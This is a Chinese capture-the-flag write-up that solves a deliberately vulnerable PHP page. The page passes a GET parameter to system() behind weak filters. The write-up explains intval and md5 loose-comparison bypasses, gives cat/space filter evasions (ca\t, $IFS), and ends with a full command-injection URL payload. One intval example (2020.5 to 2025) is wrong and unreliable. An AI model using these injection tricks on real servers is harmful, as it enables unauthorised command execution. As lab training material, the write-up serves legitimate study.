先扫描

在robots.txt里有一个/fAke_flagggg.php，打开后在look_at_me中看到/fl4g.php拿到源码

这里文字看不懂是因为文字的编码方式出了问题，这里安装一个Charset，选unicode（utf-8）就行

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

这里level 1是考一个intval()函数的特性，intval函数会截至在第一个非数字字符，比如会把2020.5换成2025，会把12e4换成12，但是如果内部有计算会优先计算，比如intval(12e4+1)=intval(120001)=120001，所以num=12e4可以过第一关，还有第二种方法通过16进制来绕过，intval(0x7E5)=0<2020，intval(0x7E5+1)=intval(2022)=2022>2021，num2=0x7E5

level 2考的是md5后的弱比较，比较好想的就是两个0eXXXX，网上搜一下就找到了0e215962017

lexel 3是要绕过cat和空格，这里贴一些方法

代替cat: more、less、head、tail、sort、ca\t（这里less不行）
代替空格：$IFS、${IFS}、$IFS$1、$IFS$9

先ls查看目录，然后打开fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

payload:/fl4g.php?num=0x7E5&md5=0e215962017&get_flag=ca\t$IFS./fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag